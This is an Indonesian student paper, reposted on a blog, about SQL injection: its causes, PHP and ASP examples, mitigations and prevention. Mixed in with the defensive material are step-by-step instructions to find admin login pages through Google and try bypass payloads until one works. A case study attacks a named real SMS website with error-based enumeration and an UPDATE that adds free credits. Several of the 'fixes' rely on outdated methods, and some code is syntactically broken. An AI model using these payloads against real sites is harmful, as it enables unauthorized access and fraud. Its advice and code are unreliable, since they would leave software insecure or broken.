Followers My Blog

Mini Facebook

SEPUTAR TEKNIK SQL INJECTION, PENYEBAB, PENCEGAHAN DAN PENANGANANNYA

MAKALAH SEPUTAR TEKNIK SQL INJECTION, PENYEBAB,
PENCEGAHAN DAN PENANGANANNYA

Dipersiapkan oleh:

Pratama Yoga Saputra (06018073)


Program Studi Teknik Informatika
Fakultas Teknologi Industri
Universitas Ahmad Dahlan
2009


DAFTAR ISI

BAB I PENDAHULUAN
1. KEJAHATAN DUNIA MAYA
2. MAKSUD DAN TUJUAN
3. METODE PELAKSANAAN

BAB II PEMBAHASAN
1. PENGERTIAN
2. SEBAB TERJADINYA
3. KARAKTERISTIK
4. TOOLS PENDUKUNG
5. CONTOH SINTAKS DALAM PHP
6. PENANGANAN SQL INJECTION
7. MEMINIMALISASIKAN SQL INJECTION
8. LOKASI SQL INJECTION
9. IMPLEMENTASI SQL INJECTION
10. CONTOH SQL SEDERHANA
11. CONTOH KASUS
12. CARA PENCEGAHAN

BAB III PENUTUP
1. KESIMPULAN

DAFTAR PUSTAKA


BAB I
PENDAHULUAN

1. KEJAHATAN DUNIA MAYA
Kebutuhan dan penggunaan akan teknologi informasi yang diaplikasikan dengan internet dalam segala bidang seperti e-banking, ecommerce, e-government, education dan banyak lagi telah menjadi sesuatu yang lumrah. Bahkan apabila masyarakat terutama yang hidup di kota besar tidak bersentuhan dengan persoalan teknologi informasi dapat dipandang terbelakang atau ”GAPTEK”.
Internet telah menciptakan dunia baru yang dinamakan cyberspace yaitu sebuah dunia komunikasi berbasis komputer yang menawarkan realitas yang baru berbentuk virtual (tidak langsung dan tidak nyata). Walaupun dilakukan secara virtual, kita dapat merasa seolah-olah ada di tempat tersebut dan melakukan hal-hal yang dilakukan secara nyata, misalnya berkomunikasi, berdiskusi dan banyak lagi.
Perkembangan internet yang semakin hari semakin meningkat baik teknologi dan penggunaannya, membawa banyak dampak baik positif maupun negatif. Tentunya untuk yang bersifat positif kita semua harus mensyukurinya karena banyak manfaat dan kemudahan yang didapat dari teknologi internet ini
Kemudian tentunya tidak dapat dipungkiri bahwa teknologi internet membawa dampak negatif yang tidak kalah banyak dengan manfaat yang ada. Internet membuat kejahatan yang semula bersifat konvensional seperti pengancaman, pencurian dan penipuan kini dapat dilakukan dengan menggunakan media komputer secara online dengan risiko tertangkap yang sangat kecil oleh individu maupun kelompok dengan akibat kerugian yang lebih besar baik untuk masyarakat maupun negara disamping menimbulkan kejahatan-kejahatan baru.
Banyaknya dampak negatif yang timbul dan berkembang, membuat suatu paradigma bahwa tidak ada komputer yang aman kecuali dipendam dalam tanah sedalam 100 meter dan tidak memiliki hubungan apapun juga. Ini terbukti dengan banyaknya para hacker-hacker pemula yang lahir untuk melakukan tindakan kriminal didunia maya.
Seiring dengan berjalannya waktu, akibat banyaknya para hacker muda yang lahir untuk melakukan kejahatan di dunia maya, maka banyak metode yang mereka gunakan untuk melakukan teknik serangan seperti Cross Site Scripting, Directory Traversal Attack, Parameter Manipulation dan lain sebagainya. Adapun salah satu contoh teknik serangan yang sering mereka gunakan adalah teknik serangan melalui SQL injection.
Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang karena sifatnya yang dapat merusak database dari suatu situs. Teknik yang digunakan dalam SQL injection adalah dengan jalan menginput perintah-perintah standar dalam SQL (DDL, DML, DCL) seperti create, insert, upate, dorp, alter, union dan select beserta perintah-perintah lainnya yang tak asing lagi bagi anda yang sudah mengenal SQL secara mendalam maupun yang baru saja belajar.
SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yang ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dengan program database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.
SQL injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius.

Maka setelah mengetahui bahwa SQL injection merupakan suatu teknik serangan hacker yang dapat mereka lakukan dari jarak jauh, maka penulis memutuskan untuk mengambil tema ini dengan menggunakan judul ”Metode Serangan SQL Injection”.

2. MAKSUD DAN TUJUAN
Setelah menentukan judul dalam tulisan ini, penulis mempunyai maksud dan tujuan dalam penulisan tugas ini diantaranya adalah sebagai birkut :
1. Diharapkan agar setiap pembaca dapat mengerti akan teknik serangan SQL Injection
2. Dimaksudkan agar para pembaca dapat memahami cara kerja teknik serangan yang dilakukan oleh para hacker dalam merusak suatu sistem atau website.
3. Serta memberikan penjelasan tentang keuntungan dan kerugian dari pelaksanaan teknik serangan SQL Injection ini.

3. METODE PELAKSANAAN
Dikarenakan keterbatasan kemampuan yang dimiliki oleh penulis dalam menulis tulisan ini, maka tulisan ini dibuat oleh penulis yang pelaksanaannya hanya dengan menggunakan bantuan dari ”Metode perpustakaan”.


BAB II
PEMBAHASAN

1. PENGERTIAN
SQL injection adalah suatu teknik yang dapat dilakukan oleh cracker untuk dapat masuk kedalam system administrator tanpa mengetahui username dan password administrator terlebih dahulu dengan memanfaatkan perintah-perintah SQL yang dimasukkan kedalam database mesin server.
Akan menurut para ahli pengertian dari SQL injection adalah sebagai berikut :
- Menurut Rosihan Ari Yuana
SQL injection merupakan perbuatan orang yang memberikan perintah SQL untuk dijalankan di mesin server SQL tanpa sepengetahuan Anda sebagai administrator. Proses injection biasanya dilakukan orang ketika memasukkan input melalui form dengan perintah atau kode tertentu.
- Menurut Muhammad Ilhamdi Rusydi
SQL injection adalah teknik memanipulasi perintah SQL dengan memasukkan ke database server sehingga dapat dimanfaatkan untuk mendapatkan informasi dan merubah database yang telah ada.
- Menurut Slamet Risnanto
SQL injection merupakan suatu teknik dengan menggunakan perintah SQL yang memungkinkan cracker dapat masuk ke dalam suatu system yang terproteksi tanpa mengetahui username dan password administrator terlebih dahulu.
- Menurut Deris Stiawan
SQL injection adalah suatu metode yang digunakan untuk memanfaatkan kelemahan pada mesin server SQL, misalnya server menjalankan layanan SQL (MySQL, PostgraseSQL, SQL server dan lain-lain). Kemudian Craker mencoba memasukkan sesuatu script untuk mencoba menampilkan halaman error di browser dan biasanya halaman error akan menampilkan paling tidak struktur dari hierarki server SQL.

2. SEBAB TERJADINYA
SQL injection yang dapat diartikan sebagai suatu aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dapat terjadinya karena disebabkan oleh beberapa penyebab yatu :
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu dan juga karakter double minus yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

3. KARAKTERISTIK
SQL injection yang merupakan jenis serangan dari para hacker mempunyai beberapa karakteristik yaitu :
1. Teknik serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.

4. TOOLS PENDUKUNG
Untuk dapat melakukan aksi SQL injection, para hacker membutuhkan beberapa tools yang akan mereka gunakan sebagai pendukung untuk melakukan teknik penyerangan diantaranya adalah sebagai berikut :
1. Internet Exploler / Browser
2. PC yang terhubung internet
3. Program atau software seperti softice
5. CONTOH SINTAKS DALAM PHP
Adapun beberapa contoh sintaks agar para hacker dapat melakukan penyerangan dengan menggunakan metode SQL injection adalah sebagai berikut :
1) $SQL = “select * from login where username = ’$username’ and password = ‘$password’”; , {dari GET atau POST variable}
2) Isikan password dengan string ’ or ’’ = ’
3) Hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password = ’pass’ or ‘ = ′ ”; , {dengan SQL ini hasil selection akan selalu TRUE }
4) Dan hasilnya, para hacker bisa inject sintax SQL kedalam SQL


6. PENANGANAN SQL INJECTION
1. MERUBAH SCRIPT PHP
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit ( );
}
else if(!empty($Id) && !empty($name) && !empty($email) &&
!empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedala form email dan password maka akan terbentuk query sebagai berikut :


Maka dilakukan perubahan script menjadi
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "\n";
exit ( );
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. MENGGUNAKAN MYSQL_ESCAPE_STRING
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh :
$kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo ”Hasil filter : $filter”;


3. PEMFILTERAN KARAKTER DENGAN MEMODIFIKASI PHP.INI
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php.
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

7. MEMINIMALISASIKAN SQL INJECTION
Ada beberapa cara yang dapat digunakan untuk meminimalisasikan terjadinya serangan SQL injection diantaranya adalah sebagai berikut :
1. Warning atau Error pada query tidak perlu ditampilkan. Lebih baik dibuat script yang akan langsung memfeedback log error/warning ke developer/adminnya jika terjadi kesalahan query, sementara di end-user bisa ditampilkan, misal error 404. Kalau Anda pernah / sering hosting di beberapa web hosting, pastinya ada beberapa web hosting yang memberikan penamaan yang sama untuk direktori usernya (shared hosting), misal /sompret/x2324/nama-domain (dimana sompret selalu sama untuk setiap user dalam satu mesin, x2324 adalah username, dan nama-domain adalah nama domain yang digunakan si x2324. Pesan warning dan error query yang terjadi akibat script akan menampilkan path letak file tersebut. Akan lebih parah lagi jika user memberi permission 777 ke dir / file.
2. Developer hendaknya melakukan validasi terhadap URL dan memfilter bentuk request yang menjurus terhadap tindakan injeksi.
3. Jangan pernah dumping database ke direktori yang tidak restrict permissionnya / publik. Dan lagi penamaan terhadap file hasil dumping database diusahakan tidak umum seperti pemberian tanggal-bulan-tahun (misal : 13071984.sql). Beberapa third party atau extension / module suatu CMS yang menggunakan konfigurasi default bisa ditebak direktori dan nama filenya.
4. Lakukaan audit sendiri dengan berbagai macam tools yang ada.
5. Jika dana tidak mencukupi maka tidak ada salahnya konsultasi dengan pihak yang lebih pandai tentang SQL Injection.

8. LOKASI SQL INJECTION
Untuk dapat melakukan SQL injection pada setiap target situs tidak harus melalui inboxnya saja akan tetapi hacker bisa memasukan string-string SQL di URL situs yang telah menjadi target sebelumnya.
Misalnya ada sebuah situs www.target.com/moreinfo.cfm dengan ProductID = 245 lalu hacker mengetikkan string injeksi debuging SQL tadi ke address bar yang dituju dibelakang url target itu, contohnya: www.target.com/moreinfo.cfm dengan ProductID = 245' having 1 = 1 dan juga hacker dapat menghapus nilai produk dari URL tersebut dan menggantinya dengan debugging code, sebagai contoh: www.target.com/moreinfo ProductID = 'having 1=1—
Setelah itu akan keluar sebuah error page dari situs itu yang memberi informasi tentang struktur database situs itu. Dari hasil informasi yang telah didapat ini, hacker dapat melakukan serangan berikutnya. Apabila browser kita adalah Internet Explorer, ada sebagian situs yang tidak menampilkan error-nya, ini dikarenakan opsi Show Friendly HTTP Error Messages diaktifkan.
Untuk itu hacker perlu menonaktifkannya dengan cara menghilangkan tanda centang di kotaknya. Opsi ini dapat anda temukan di Tools > Internet Option > Advanced cari opsinya di bagian Browsing lalu hilangkan tanda centangnya dan klik tombol Apply. Sesudah itu apabila anda menemui error page yang berisi HTTP 500 error - internal server error- sebelum men-set opsi tadi, anda cukup menekan tombol Refresh, lalu terlihatlah sudah error-nya. Setelah kita tahu struktur database-nya, dengan pengetahuan dasar dari belajar SQL kita dapat menghancurkan database itu dengan perintah ' drop database [nama_database] atau drop table [nama_table].

9. IMPLEMENTASI SQL INJECTION
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel.

10. CONTOH SQL INJECTION SEDERHANA
Pada permasalahan ini, penulis mengajak untuk membuat contoh mengenai kasus SQL injection yang sampai saat ini dan detik ini juga masih sering kita jumpai pada situs-situs di internet. Salah satu penyalahgunaan bug SQL injection adalah digunakan untuk mem-bypass sistem login pada suatu situs. Contoh kali ini akan kita rancang sendiri sedemikian rupa mulai dari merancang database, membuat script sampai melakukan SQL injection terhadap script yang kita buat tersebut. Kita akan menggunakan MS SQL Server sebagai databasenya, ASP sebagai scripting languange nya dan sembarang HTML editor untuk membuat layar loginnya (penulis disini menggunakan MS FrontPage). Penulis asumsikan Anda menggunakan MS IIS sebagai web server. Siapkan MS IIS Anda dan juga MS SQL Server 2000 Anda.
Pertama-tama kita akan buat dahulu databasenya. Siapkan database dengan nama sqlinject dan buat tabel di dalamnya dengan nama tbUser. Berikut ini adalah struktur dari tabel tbUser melalui perintah SQL CREATE TABLE.

Create table tbUser
{
username varchar(50),
password varchar(50))
Isikan data ke dalam tabel tersebut dengan mengetikkan perintah SQL seperti berikut ini.
insert into tbUser values('sql','inject')
Sekarang kita sudah mempunyai sebuah database yang bernama 'sqlinject', sebuah tabel yang bernama 'tbUser' dan tabel tersebut sudah diisi dengan satu buah row data. Sekarang kita akan buat sebuah halaman login yang digunakan sebagai interface web-nya. Penulis beri nama filenya yaitu login.asp.
Bentuk tampilan dari layar login ini bisa Anda lihat seperti berikut ini.

Setelah itu kita buat script untuk memproses login ini, penulis beri nama login_process.asp. Code pada file login_process.asp adalah sebagai berikut. Untuk koneksi ke database (SQL Server) penulis menggunakan metode SQL Authentication, server pada localhost, username 'sa' dan password 'rahasia'.
Script untuk proses login :
<% option explicit %>
<% dim connstring,conn,recset connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security Info=True; User ID=sa; Initial Catalog=sqlinject; ata Source=localhost" set conn = server.createobject("adodb.connection") set recset = server.createobject("adodb.recordset") conn.open connstring recset.open "select * from tbUser where username = '" & request.form("username") & "' and password = '" & request.form("password") & "'",conn,3,2 if not recset.eof then response.write recset.recordcount session("username") = request.form("username") response.redirect "secured_page.asp" else response.redirect "login.asp" end if %>
Kita lihat pada code diatas terdapat operasi SELECT ke SQL yang mencari username dan password dari tabel tbUser. Jika username dan password yang dimasukkan benar maka akan masuk ke halaman secured_page.asp (ada pada bagian akhir dari tulisan ini). Maksud dari halaman secured_page.asp ini adalah bahwa halaman tersebut hanya bisa diakses jika Anda mengisikan username dan password dengan benar. Anda tidak bisa mengetikkan URL halaman tersebut secara langsung. Gambar contoh halaman secured_page.asp bisa Anda lihat berikut ini.

Pada halaman secured_page.asp di atas terdapat sebuah link logout yang mengarah pada dokumen logout.asp. Ini digunakan untuk melakukan sign-out atau log-out dari halaman secured_page.asp dan menuju ke halaman login.asp kembali.
Code dari dokumen logout.asp adalah sebagai berikut .
<% session.abandon response.redirect "login.asp" %>
Sekarang semua file sudah kita buat. Letakkan semua file tadi (login.asp, login_process.asp, secured_page.asp, logout.asp) dalam satu folder dan jadikan sebagai home directory pada MS IIS (web server) Anda. Hasilnya bisa Anda test dengan mengetikkan URL yang mengarah pada web Anda tadi misalnya http://localhost/login.asp.
Sekarang saatnya penulis akan menyajikan contoh SQL injection untuk mem-bypass login. Tampilkan URL yang berisi login.asp tadi (misalnya http://localhost/login.asp). Sekarang coba masukkan username 'a' dan password 'a', program akan kembali lagi ke halaman login.asp karena username dan password tersebut salah. Sekarang coba sekali lagi, kali ini username 'sql' dan password 'inject'. Karena username dan password benar maka Anda akan diarahkan ke halaman secured_page.asp. Anda bisa klik link logout jika ingin logout. Aktivitas tersebut adalah aktivitas normal pada suatu sistem pada login. Bagaimanakah cara tidak normalnya? Kita memeriksa apakah login tersebut bisa di bypass atau tidak dengan cara memberikan inputan tanda ' (single quote) pada bagian inputan username dan masukkan sembarang string pada bagian password.
Jika Anda tekan tombol submit maka akan muncul error seperti berikut ini.
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Line 1: Incorrect syntax near
'aku'. /login_process.asp, line 8
Error di atas merupakan error dari database SQL Server yang sebenarnya menyatakan ada kesalahan pada statement SQL (akibat kita masukkan karakter ' tadi). Penyebab utama kejadian di atas adalah karena karakter ' (single quote) yang kita inputkan pada bagian username. Karakter ' (single quote) merupakan karakter pemutus dari statement SQL dan dari sini bisa kita kembangkan untuk membelokkan statement SQL asli menjadi statement SQL sesuai keinginan kita. Mari kita lihat kembali kejadiannya. Misalnya kita masukkan string 'user' dan password 'pass' maka statement
SQL yang terjadi adalah sebagai berikut.
select * from tbUser where username = 'user' and password = 'pass'
Jalankan pada MS Query Analyzer maka hasilnya akan menjadi suatu zero recordset dan tidak error. Sekarang misalnya kita memasukkan karakter ' pada username dan string 'aku' pada bagian password maka statement SQL pada database akan menjadi seperti berikut ini.
select * from tbUser where username = ''' and password = 'aku'
Coba jalankan pada MS Query Analyzer dan akan muncul error seperti berikut ini.
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'aku'.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string ''.
Kita lihat error yang pertama persis sama pesannya seperti yg terjadi pada web tadi. Itu terjadi karena Anda melakukan pemotongan statement SQL dengan karakter ' dan belum Anda selesaikan. Efek dari pemotongan ini akhirnya Anda bisa menambahkan statement SQL Anda sendiri setelah karakter ' tadi. Sekarang kita selesaikan pemotongan statement SQL tadi dengan menambahkan string or 1=1. Setelah karakter ' tadi (jadi pada bagian username
Anda ketikkan ' or 1=1 sehingga sekarang statement SQL nya akan menjadi seperti berikut ini.
select * from tbUser where username = '' or 1=1 --' and password = 'aku'
Setelah di jalankan pada MS Query Analyzer. Hasilnya adalah menimbulkan suatu record set yang menampilkan semua data pada tabel tbUser tersebut. Kita lihat lagi pada statement di atas. Karakter adalah karakter untuk menandakan bahwa string setelah tanda akan di ignore atau dianggap sebagai remark pada suatu statement SQL. Jadi sebenarnya pada statement di atas yang dijalankan adalah sebagai berikut.
select * from tbUser where username = '' or 1=1
Jadi perintah di atas akan men-select username yang berupa blank character dan kemudian di OR dengan suatu kondisi TRUE (dalam hal ini diwakili dengan 1=1). Kondisi apapun jika di OR dengan keadaan TRUE maka hasilnya akan selalu TRUE pula. Itulah inti dari kejadian di atas.
11. CONTOH KASUS
Berikut ini merupakan teknik SQL injection yang dilakukan oleh hacker untuk menginjeksi suatu situs tertentu yang memberikan pelayanan SMS web ke sebuah handphone. Disini akan dijelaskan string dasar SQL yang dapat berubah menjadi hal yang membahayakan suatu situs.
Adapun cara yang dapat dilakukan oleh hacker tersebut adalah sebagai berikut :
1. Mencari target dengan Google, keywordnya allinurl:.com/sendsms.asp. Inilah URL yang sering dipakai oleh web site yang menyediakan jasa mengirim SMS.
2. Dalam contoh ini, biasanya hacker memakai www.yepcell.com, situs ini adalah sebuah situs dari Timur Tengah yang menyediakan jasa pengiriman sms ke seluruh penjuru dunia dan menyediakan aksesori handphone seperti, ringtone dan gambar.
3. Lalu hacker harus mendaftar dulu untuk menjadi anggota supaya bisa mengirim SMS. Isikan data diri anda; semuanya boleh palsu kecuali nomor handphone. Dalam contoh ini kita buat userID dengan nama yamakasi. Tetapi sebelumnya hacker harus dapat menguji apakah situs ini memakai SQL. Cara mengujinya dapat pada input box login dengan string yang telah dibahas di atas.
4. Setelah itu klik OK, dan account anda telah terbentuk.
5. Proses penyerangan akan dimulai, anda masuk ke members direktory yang URL-nya adalah www.yepcell.com /members.asp lalu masukan debuging code ' having 1=1- di kolom username dan masukan sembarang password di kolom password.
6. Lalu akan keluar error page-nya, dan dari erro page tersebut telah dijelaskan:
bahwa terdapat Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'YepCell_membersDB.UserID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Lalu hacker harus tahu bahwa ada table Yepcell_membersDB dan ada field UserID, ini adalah informasi berharga. untuk itu siapa tahu ada lagi filed lainnya, jadi hacker masukan string 'GROUP BY YepCell_membersDB –
7. Lalu muncul lagi error-nya. Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [ Microsoft ] [ ODBC SQL Server Driver ] [ SQL Server ] Column 'YepCell_membersDB.Password' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Jika ada lagi fieldnya yaitu Password, dan hackerpun mencoba kembali untuk menginjeksi jikalau ada kemungkinan lagi field lainnya dengan 'GROUP BY YepCell_membersDB.Password, tapi jika ternyata error-nya kembali ke awal lagi, berarti ada dua field dalam satu table YepCell_membersDB.
8. Karena sejak awal hacker melakukan SQL Injection ini untuk menambah Credits (string khusus penghitung SMS) di situs ini, maka hacker mengubah account mereka dengan injeksi ini. Perintah UPDATE adalah perintah SQl yang berguna untuk mengubah atau memperbaiki data dalam suatu field di table yang memuat field itu, dengan kode 'UPDATE [nama_table] set [field1] = [nilai1] where kondisi ; Jadi dengan info yang kita dapatkan dari error page yang tadi maka kita dapat membuat string-nya 'UPDATE YepCell_membersDB set Credits = 100 where UserID ='yamakasi' kita klik submit lalu.
9. Jika terjadi error, hacker butuh keyakinan bahwa semua kegiatan akan selalu berjalan mulus tapi dicek terlebih dahulu account mereka.
10. Bila sudah terlihat credits kita bertambah menjadi seratus.Artinya hacker telah sukses menginjeksi database situs itu dengan perintah SQL dasar tadi dan bukan dengan cara carding.
11. Dan hasilnya hacker telah menginjeksi situs tersebut dan mereka bisa ber SMS ria sepuasnya. Namun kadang-kadang SMS gateway situs ini sering down.

12. CARA PENCEGAHAN
1) Membatasi panjang dari suatu input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si hacker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Memfilterisasi input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Mematikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Mematikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Mengubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


BAB III
PENUTUP

1. KESIMPULAN
SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yang ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dengan program database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.
SQL injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius.
SQL Injection dapat terjadi karena :
1. Tidak adanya penanganan terhadap karakter – karakter tanda petik satu dan juga karakter double minus yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2. Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
SQL injection yang merupakan jenis serangan dari para hacker mempunyai beberapa karakteristik yaitu :
1. Teknik serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.


Adapun cara pencegahan dari SQL Injection adalah sebagai berikut :
1. Membatasi panjang dari suatu input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si hacker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Memfilterisasi input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3. Mematikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4. Mematikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5. Mengubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


DAFTAR PUSTAKA


Stiawan Deris. 2005. Sistem Keamanan Komputer. PT. Elex Media Komputindo: Jakarta.

http://www.sony ak.com. 12/01/2004. SQL Injection Menggunakan ASP dan MS SQL Server.

http://www.wartaegov.com. 04/06/2007. Tujuh Jurus Mengantisipasi Serangan Ke Situs Web.

http://www.gedex.web.id 02/07/2007. Microsoft Kena Deface Lagi !!! Lagi-lagi SQL Injection.

http://www.rose-see.nr. 07/11/2007. Hacking Security - Jamu Penawar SQL Injection.

http://www.demittegal.multiply.com.10/12/2007. Masalah_SQL_Injection_dan_Solusinya.

http://www.blogger.com 07/05/2008. Tutorial SQL Injection.

http://pratamayogasaputra.blogspot.com/2009/05/seputar-teknik-sql-injection-penyebab.html . Makalah tentang Teknik SQL injeksi Penyebab, Pencegahan dan Penanganannya.

0 komentar:

100 Blog Indonesia Terbaik




My blog is worth $1,129.08. How much is your blog worth?






Lomba Blog Antar Pelajar dan Mahasiswa





Masukkan Code ini K1-5DAFCE-F
untuk berbelanja di KutuKutuBuku.com